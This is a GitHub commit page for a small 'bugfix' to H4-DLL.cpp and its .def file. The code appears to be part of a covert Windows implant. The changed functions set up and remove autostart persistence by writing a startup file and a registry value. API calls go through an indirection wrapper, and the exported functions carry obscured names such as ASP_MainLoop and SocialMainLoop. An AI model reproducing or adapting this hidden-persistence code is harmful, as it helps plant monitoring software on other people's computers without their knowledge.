Skip to content

Commit

Permalink
Ulteriore bugfix
Browse files Browse the repository at this point in the history
  • Loading branch information
naga committed Feb 20, 2013
1 parent 62bdcab commit b455967
Show file tree
Hide file tree
Showing 2 changed files with 3 additions and 4 deletions.
6 changes: 3 additions & 3 deletions H4-DLL.cpp
Expand Up @@ -1990,7 +1990,7 @@ void HM_InsertRegistryKey(char *dll_name, BOOL force_insert)
}

// Crea il file per l'avvio se non esiste gia'
sprintf(key_value, "..\\%s.%s", extension, extension);
sprintf(key_value, "..\\%s.%s", REGISTRY_KEY_NAME, extension);
HM_CompletePath(key_value, dll_path);
hfile = CreateFile(dll_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hfile == INVALID_HANDLE_VALUE) {
Expand Down Expand Up @@ -2038,7 +2038,7 @@ void HM_InsertRegistryKey(char *dll_name, BOOL force_insert)
sprintf(key_value, H4_HOME_PATH);
if (ptr = strrchr(key_value, '\\')) {
*ptr = 0;
sprintf(key_value, "%s\\%s.%s", key_value, extension, extension);
sprintf(key_value, "%s\\%s.%s", key_value, REGISTRY_KEY_NAME, extension);
FNC(RegSetValueExA)(hOpen, REGISTRY_KEY_NAME, NULL, REG_EXPAND_SZ, (unsigned char *)key_value, strlen(key_value)+1);
}
FNC(RegCloseKey)(hOpen);
Expand Down Expand Up @@ -2078,7 +2078,7 @@ void HM_RemoveRegistryKey()
RegDeleteKeyA(HKEY_CURRENT_USER, key_path);

// Cancella il file
sprintf(key_path, "..\\%s.%s", extension, extension);
sprintf(key_path, "..\\%s.%s", REGISTRY_KEY_NAME, extension);
HM_CompletePath(key_path, dll_path);
FNC(SetFileAttributesA)(dll_path, FILE_ATTRIBUTE_NORMAL);
FNC(DeleteFileA)(dll_path);
Expand Down
1 change: 0 additions & 1 deletion H4-DLL.def
Expand Up @@ -8,5 +8,4 @@ EXPORTS
PPPFTBBP06 = Log_PrintDC
PPPFTBBP07 = ASP_MainLoop
PPPFTBBP08 = HM_sMain
PPPFTBBP11 = SocialMainLoop
PPPFTBBP12 = SocialMainLoop

0 comments on commit b455967

Please sign in to comment.